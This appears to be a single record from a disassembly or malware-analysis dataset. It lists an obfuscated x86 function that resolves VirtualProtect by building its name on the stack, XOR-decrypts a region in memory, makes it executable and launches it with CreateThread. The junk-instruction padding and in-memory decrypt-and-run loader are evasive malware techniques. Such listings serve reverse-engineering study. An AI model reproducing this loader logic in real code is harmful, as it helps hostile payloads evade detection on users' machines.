Function at 0x8fa7ac
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push eax
pop eax
call fcn.008fabd4
push ebx
pop ebx
mov eax, eax
lea eax, [ebp - 0xd8]
xchg edi, eax
xchg edi, eax
xchg ecx, ecx
mov ebx, 0x61
xchg ebx, ebx
add bx, 0xa
pushfd
inc eax
dec eax
popfd
mov eax, eax
mov word [eax], bx
pushfd
xor edi, 0x52d92702
xor edi, 0x52d92702
popfd
xchg edi, eax
xchg edi, eax
sub bx, 6
pushfd
push 0xc6b878ed
add esp, 4
popfd
mov word [eax + 2], bx
xchg esi, eax
xchg esi, eax
add bx, 0xd
mov esi, esi
mov word [eax + 4], bx
mov ecx, ecx
sub bx, 4
pushfd
push 0x2749d3d4
add esp, 4
popfd
mov word [eax + 6], bx
pushfd
push ecx
add esp, 4
popfd
pushfd
xor edi, 0x44a32a9d
xor edi, 0x44a32a9d
popfd
sub bx, 9
pushfd
push 0x10f3f83d
add esp, 4
popfd
mov edi, edi
mov word [eax + 8], bx
push eax
push edi
pop edi
pop eax
pushfd
push 0x5be1fa69
add esp, 4
popfd
add bx, 7
push edi
push eax
pop eax
pop edi
xchg ecx, ebx
xchg ebx, ecx
mov word [eax + 0xa], bx
push ecx
push edx
pop edx
pop ecx
sub bx, 0x39
xchg edx, edx
mov word [eax + 0xc], bx
xchg edx, edx
pushfd
push edx
add esp, 4
popfd
dec bx
pushfd
inc edx
dec edx
popfd
mov word [eax + 0xe], bx
push esi
pop esi
push ecx
push edi
pop edi
pop ecx
sub bx, 4
pushfd
xor edx, 0x11defc7a
xor edx, 0x11defc7a
popfd
pushfd
inc eax
dec eax
popfd
mov word [eax + 0x10], bx
pushfd
push 0xbbb94ed1
add esp, 4
popfd
add bx, 0x36
pushfd
push ecx
add esp, 4
popfd
push ebx
pop ebx
mov word [eax + 0x12], bx
pushfd
push 0x74f6bfac
add esp, 4
popfd
add bx, 8
xchg edx, eax
xchg edx, eax
mov word [eax + 0x14], bx
pushfd
xor esi, 0x9063accc
xor esi, 0x9063accc
popfd
pushfd
inc edx
dec edx
popfd
mov word [eax + 0x16], bx
pushfd
xor edi, 0xd9d17962
xor edi, 0xd9d17962
popfd
mov word [eax + 0x18], 0
pushfd
xor esi, 0x6743b899
xor esi, 0x6743b899
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push edi
add esp, 4
popfd
mov dword [ebp - 0x10], eax
xchg ecx, edi
xchg edi, ecx
xchg edx, eax
xchg edx, eax
lea eax, [ebp - 0xd8]
push ebx
pop ebx
xchg esi, esi
mov ebx, 0x61
xchg ebx, eax
xchg ebx, eax
push ecx
pop ecx
sub bl, 0xb
pushfd
push 0xf63a3ca3
add esp, 4
popfd
push esi
pop esi
mov byte [eax], bl
nop
add bl, 0x13
pushfd
xor edi, 0xa797faa0
xor edi, 0xa797faa0
popfd
push ecx
push eax
pop eax
pop ecx
mov byte [eax + 1], bl
pushfd
xor edi, 0x66e0bd6c
xor edi, 0x66e0bd6c
popfd
pushfd
xor esi, 0x9c60d737
xor esi, 0x9c60d737
popfd
add bl, 9
pushfd
push 0x1f68d723
add esp, 4
popfd
push ebx
pop ebx
mov byte [eax + 2], bl
xchg ecx, esi
xchg esi, ecx
xchg edi, edi
add bl, 2
xchg edi, esi
xchg esi, edi
mov byte [eax + 3], bl
push esi
pop esi
inc bl
pushfd
xor ebx, 0xe057fe16
xor ebx, 0xe057fe16
popfd
xchg edi, edi
mov byte [eax + 4], bl
xchg edi, ecx
xchg ecx, edi
push eax
pop eax
sub bl, 0x14
push edi
push ebx
pop ebx
pop edi
mov byte [eax + 5], bl
pushfd
push esi
add esp, 4
popfd
add bl, 0xb
pushfd
xor edx, 0xcf60be3e
xor edx, 0xcf60be3e
popfd
mov byte [eax + 6], bl
pushfd
inc ecx
dec ecx
popfd
pushfd
inc ebx
dec ebx
popfd
sub bl, 0x1c
pushfd
xor ecx, 0x6b6f7d40
xor ecx, 0x6b6f7d40
popfd
mov byte [eax + 7], bl
xchg ecx, ecx
mov ecx, ecx
add bl, 0x22
pushfd
inc edx
dec edx
popfd
pushfd
push 0xeae6ab0
add esp, 4
popfd
mov byte [eax + 8], bl
mov edi, edi
push edx
pop edx
sub bl, 3
pushfd
inc edx
dec edx
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 9], bl
pushfd
push edx
add esp, 4
popfd
xchg edx, eax
xchg edx, eax
add bl, 5
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0xa], bl
pushfd
push edi
add esp, 4
popfd
push edx
push ebx
pop ebx
pop edx
sub bl, 0xf
pushfd
push 0x35f67639
add esp, 4
popfd
mov byte [eax + 0xb], bl
xchg ebx, esi
xchg esi, ebx
pushfd
xor edx, 0x2fb0c7d4
xor edx, 0x2fb0c7d4
popfd
sub bl, 2
pushfd
push 0x8457799b
add esp, 4
popfd
pushfd
push 0xa5f30c78
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
xor eax, 0xa993974b
xor eax, 0xa993974b
popfd
pushfd
push esi
add esp, 4
popfd
add bl, 0x11
push eax
pop eax
mov byte [eax + 0xd], bl
push edi
pop edi
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 0xe], 0
xchg edx, edi
xchg edi, edx
pushfd
inc ebx
dec ebx
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg ebx, ecx
xchg ecx, ebx
mov dword [ebp - 0xc], eax
xchg edx, edx
xchg esi, esi
lea eax, [ebp - 8]
xchg esi, esi
push eax
push 4
push 0x350fbf
push entry0
call dword [ebp - 0xc]
nop
mov edi, entry0
pushfd
xor eax, 0x20626edd
xor eax, 0x20626edd
popfd
pushfd
push edi
add esp, 4
popfd
mov esi, 0x40100e
push edi
pop edi
mov ecx, 0x350fbf
push ecx
push esi
pop esi
pop ecx
mov edx, 0x1b60fa81
xchg edx, edx
mov ebx, 0x90dd817b
pushfd
xor eax, 0xaaf8dcb6
xor eax, 0xaaf8dcb6
popfd
cld
mov eax, eax
lodsb al, byte [esi]
nop
xor al, dl
mov esi, esi
stosb byte es:[edi], al
xchg ecx, ecx
ror edx, 5
mov edi, edi
imul edx, edx, 7
mov ecx, ecx
test ebx, 1
mov ecx, ecx
je 0x8fab3a
nop
add esi, 1
mov esi, esi
ror ebx, 1
xchg ebx, ebx
dec ecx
xchg edx, edx
test ecx, ecx
xchg edx, edx
jne 0x8fab15
push ebx
push edx
pop edx
pop ebx
lea eax, [ebp - 8]
pushfd
push 0xe838a4ff
add esp, 4
popfd
xchg ecx, ebx
xchg ebx, ecx
push eax
push 0x20
push 0x350fbf
push entry0
call dword [ebp - 0xc]
pushfd
push 0x664a09fe
add esp, 4
popfd
xchg ecx, edi
xchg edi, ecx
lea eax, [ebp - 4]
pushfd
xor edi, 0xe017609
xor edi, 0xe017609
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
inc edx
dec edx
popfd
push ecx
push edx
pop edx
pop ecx
mov ecx, ecx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push ebx
add esp, 4
popfd
jmp 0x8faba7